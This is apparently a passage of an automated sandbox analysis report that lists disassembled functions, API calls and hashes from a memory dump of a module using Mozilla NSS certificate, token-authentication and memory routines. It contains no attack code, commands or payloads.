EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C606C34,?,?,00000001,00000000,00000007,?), ref: 6C6218B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C606C34,?,?), ref: 6C6218E1
PR_SetError.NSS3(00000000,00000000), ref: 6C6218F9

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2d756955d2d55c096842f9b713ac1a3c12876542856e3d4bc748eed6c535ea27
Instruction ID: 097368f7e68d722885511645f226a879074ebaa4981e0917aba02e9883f100fd
Opcode Fuzzy Hash: 2d756955d2d55c096842f9b713ac1a3c12876542856e3d4bc748eed6c535ea27
Instruction Fuzzy Hash: 8621D071E002199BDB00AF68DC44AEE7B74FF06318F040169ED0967701EB36E928CBE5

Function 6C60ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C60ACC2

Part of subcall function 6C5E2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C5E2F0A
Part of subcall function 6C5E2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5E2F1D

Part of subcall function 6C5E2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C5E0A1B,00000000), ref: 6C5E2AF0
Part of subcall function 6C5E2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C60AD5E

Part of subcall function 6C6257D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C5EB41E,00000000,00000000,?,00000000,?,6C5EB41E,00000000,00000000,00000001,?), ref: 6C6257E0
Part of subcall function 6C6257D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C625843

CERT_DestroyCertList.NSS3(?), ref: 6C60AD36

Part of subcall function 6C5E2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C5E2F65
Part of subcall function 6C5E2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5E2F83

free.MOZGLUE(?), ref: 6C60AD4F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: af1d921d19efa81870733d58735e6936d8c17bf7960844a4003bfbf2fbcf4c8b
Instruction ID: edfd8035d4bcea039605a9f4f08cded4c72e6e5da71484e8c69990453f430e0b
Opcode Fuzzy Hash: af1d921d19efa81870733d58735e6936d8c17bf7960844a4003bfbf2fbcf4c8b
Instruction Fuzzy Hash: AA21C3B1E002188BEB14DF64DD055EEB7F4EF49249F054068D858BB701FB31AE59CBA9

Function 6C633C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C633C9E
EnterCriticalSection.KERNEL32(?), ref: 6C633CAE
PR_Unlock.NSS3(?), ref: 6C633CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C633D02

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c39aa8291f8049c9899a8d76d75bf699cea824a64c2ed97ac6b19b1011abe262
Instruction ID: bf78e3a96cb4f881fc02c0c72603dfa5ebb413a87dd5e48817958857abf4e389
Opcode Fuzzy Hash: c39aa8291f8049c9899a8d76d75bf699cea824a64c2ed97ac6b19b1011abe262
Instruction Fuzzy Hash: 9411B475A00214AFD700EF24DC48A9A37B8EF49369F155171ED089B711D730ED55C7E5

Function 6C63ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C63F0AD,6C63F150,?,6C63F150,?,?,?), ref: 6C63ECBA

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C63ECD1

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C63ED02

Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C63ED5A

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: b80f926a5ce4d5be78af76daff0e5e9a3224f98a305609b4e13d135c9e476c86
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: F321A4B19007525BE700CF25D944B52B7E4BFA5348F15E216E81C87661FB70E994C6E8

Function 6C60C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C60C890

Part of subcall function 6C608F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C608FAF
Part of subcall function 6C608F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C608FD1
Part of subcall function 6C608F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C608FFA
Part of subcall function 6C608F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C609013
Part of subcall function 6C608F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C609042
Part of subcall function 6C608F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C60905A
Part of subcall function 6C608F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C609073
Part of subcall function 6C608F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C609111

PR_GetCurrentThread.NSS3 ref: 6C60C8B2

Part of subcall function 6C6A9BF0: TlsGetValue.KERNEL32(?,?,?,6C6F0A75), ref: 6C6A9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C60C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C60C8EB

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: cd4988022408306da13cb59d2d61f3d526605b49ebbc1633715bfbafbfb6659a
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 3101E566F012107BD70429B96D80ABF3E69AF4635CF040135FC05B6B61F761881992BF

Function 6C66EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C657FFA,?,6C659767,?,8B7874C0,0000A48E), ref: 6C66EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C657FFA,?,6C659767,?,8B7874C0,0000A48E), ref: 6C66EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C657FFA,?,6C659767,?,8B7874C0,0000A48E), ref: 6C66EE14

Part of subcall function 6C640BE0: malloc.MOZGLUE(6C638D2D,?,00000000,?), ref: 6C640BF8
Part of subcall function 6C640BE0: TlsGetValue.KERNEL32(6C638D2D,?,00000000,?), ref: 6C640C15

memcpy.VCRUNTIME140(?,?,6C659767,00000000,00000000,6C657FFA,?,6C659767,?,8B7874C0,0000A48E), ref: 6C66EE33

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 8fb0630a9ae0a947aaa6797ba48f16646878c36d75dc0f29aeae75af530eda2b
Instruction ID: c25d400305ceb4c2456883b65088a8cd21e0e1f59644b355f26a2352a57ccc6a
Opcode Fuzzy Hash: 8fb0630a9ae0a947aaa6797ba48f16646878c36d75dc0f29aeae75af530eda2b
Instruction Fuzzy Hash: D711C2B1A00716AFEB109E66DC84B46B3A8FF1035DF204531E91986E40E331F465CBEB

Function 6C5EDFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6006A0: TlsGetValue.KERNEL32 ref: 6C6006C2
Part of subcall function 6C6006A0: EnterCriticalSection.KERNEL32(?), ref: 6C6006D6
Part of subcall function 6C6006A0: PR_Unlock.NSS3 ref: 6C6006EB

CERT_NewCertList.NSS3 ref: 6C5EDFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C5EDFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C5EDFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5EE029

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 20e1167d73eb7a127cf9a4c017d000541936c9e78add492976355267fd52207b
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 48116B71A14306ABDB108EA85C00BAB76B8ABCD35CF040934E828D7B01F7B2DC1496E1

Function 6C608DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C608DE7
EnterCriticalSection.KERNEL32 ref: 6C608DFC
PR_Unlock.NSS3 ref: 6C608E2D
PR_SetError.NSS3 ref: 6C608E49

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 604ccce8a1f5bb782d43c32a40ff6881a0a28a6f1922c1447cdcb87469f2b6af
Instruction ID: 58d7d7669ac0980340fb627c4bee72bf0db1bf72ef32051e70ce0a9d26e576a0
Opcode Fuzzy Hash: 604ccce8a1f5bb782d43c32a40ff6881a0a28a6f1922c1447cdcb87469f2b6af
Instruction Fuzzy Hash: 9E114F716056119BD700BF78D588599BBF4FF49355F01496ADC8897700EB30E864CBDA

Function 6C68AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C675F17,?,?,?,?,?,?,?,?,6C67AAD4), ref: 6C68AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C675F17,?,?,?,?,?,?,?,?,6C67AAD4), ref: 6C68ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C67AAD4), ref: 6C68ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C67AAD4), ref: 6C68ACDB

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: cbdb3e62f75bfd537c7a7a721e3773b838940c996be74804b835a4cd947519fe
Instruction ID: 5bdc6e607709179a4da654bc59a0ef3bcbbfcea111392d417d935f542924ead6
Opcode Fuzzy Hash: cbdb3e62f75bfd537c7a7a721e3773b838940c996be74804b835a4cd947519fe
Instruction Fuzzy Hash: 71015EB1602B159BE760EF2AD908753B7E8BF0075AB104839D85ED3E41E731F454CBA5

Function 6C5F1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C5F1DFB

Part of subcall function 6C5E95B0: TlsGetValue.KERNEL32(00000000,?,6C6000D2,00000000), ref: 6C5E95D2
Part of subcall function 6C5E95B0: EnterCriticalSection.KERNEL32(?,?,?,6C6000D2,00000000), ref: 6C5E95E7
Part of subcall function 6C5E95B0: PR_Unlock.NSS3(?,?,?,?,6C6000D2,00000000), ref: 6C5E9605

PR_EnterMonitor.NSS3 ref: 6C5F1E09

Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90AB
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90C9
Part of subcall function 6C6A9090: EnterCriticalSection.KERNEL32 ref: 6C6A90E5
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A9116
Part of subcall function 6C6A9090: LeaveCriticalSection.KERNEL32 ref: 6C6A913F

Part of subcall function 6C5EE190: PR_EnterMonitor.NSS3(?,?,6C5EE175), ref: 6C5EE19C
Part of subcall function 6C5EE190: PR_EnterMonitor.NSS3(6C5EE175), ref: 6C5EE1AA
Part of subcall function 6C5EE190: PR_ExitMonitor.NSS3 ref: 6C5EE208
Part of subcall function 6C5EE190: PL_HashTableRemove.NSS3(?), ref: 6C5EE219
Part of subcall function 6C5EE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5EE231
Part of subcall function 6C5EE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5EE249
Part of subcall function 6C5EE190: PR_ExitMonitor.NSS3 ref: 6C5EE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F1E37
PR_ExitMonitor.NSS3 ref: 6C5F1E4A

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 7ccc1723cbc1c94ba762e978cb495097d7913890af5a1004fce695aa18a6baee
Instruction ID: 209f090ee879cb354d63d849644fa4b82726a05e35e751ebe18a787dd2eeeb4b
Opcode Fuzzy Hash: 7ccc1723cbc1c94ba762e978cb495097d7913890af5a1004fce695aa18a6baee
Instruction Fuzzy Hash: 9901F7B1B4015097EB049A65EC04F43BF64AB5274CF204035D6289BB91E731E826CFD5

Function 6C5F1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5F1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C5F1D9C
free.MOZGLUE(00000000), ref: 6C5F1DB8

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 8e00b65f66c93a81ecd78400d6adedd14bf48bba3f2b69afb05896a2d39bb2ea
Instruction ID: 48f0f1d3f31665c0d00e818d7e60d110620b2a1af8a46a160d1280ced1cedd2a
Opcode Fuzzy Hash: 8e00b65f66c93a81ecd78400d6adedd14bf48bba3f2b69afb05896a2d39bb2ea
Instruction Fuzzy Hash: 7CF0F9F264121057FB105E196C41B4736A8AB957A8F114635DD2DC7F40DB71E4068AF5

Function 6C670840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C742F88,6C670660,00000020,00000000,?,?,6C672C3D,?,00000000,00000000,?,6C672A28,00000060,00000001), ref: 6C670860

Part of subcall function 6C564C70: TlsGetValue.KERNEL32(?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564C97
Part of subcall function 6C564C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CB0
Part of subcall function 6C564C70: PR_Unlock.NSS3(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C672C3D,?,00000000,00000000,?,6C672A28,00000060,00000001), ref: 6C670874
EnterCriticalSection.KERNEL32(00000001), ref: 6C670884
PR_Unlock.NSS3 ref: 6C6708A3

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 75cbf7db17ceeb5ec7d7240fd57e04b984574a2f885a4ba2cc2bd264be67065c
Instruction ID: d5ace5a149b8f1b195bc63f5b020738081c690443ed341b74b1b7096c4093802
Opcode Fuzzy Hash: 75cbf7db17ceeb5ec7d7240fd57e04b984574a2f885a4ba2cc2bd264be67065c
Instruction Fuzzy Hash: 2D012075A00244ABEF207B25DC449557774DB5731EF444572EC0C91A02FF23946487F5

Function 6C63FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C5E9003,?), ref: 6C63FD91

Part of subcall function 6C640BE0: malloc.MOZGLUE(6C638D2D,?,00000000,?), ref: 6C640BF8
Part of subcall function 6C640BE0: TlsGetValue.KERNEL32(6C638D2D,?,00000000,?), ref: 6C640C15

PORT_Alloc_Util.NSS3(A4686C64,?), ref: 6C63FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C64,?,?), ref: 6C63FDC4
free.MOZGLUE(00000000,?,?), ref: 6C63FDD1

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 2482fd89cc0d4a84e3d45633f0bcae67b3d6dab8010436e88ce7fd2ae4ebdee6
Instruction ID: 7587cc5d24fa397e54f0574e78ec5053d33fd821b1bd1b2473c0b439a23c62b8
Opcode Fuzzy Hash: 2482fd89cc0d4a84e3d45633f0bcae67b3d6dab8010436e88ce7fd2ae4ebdee6
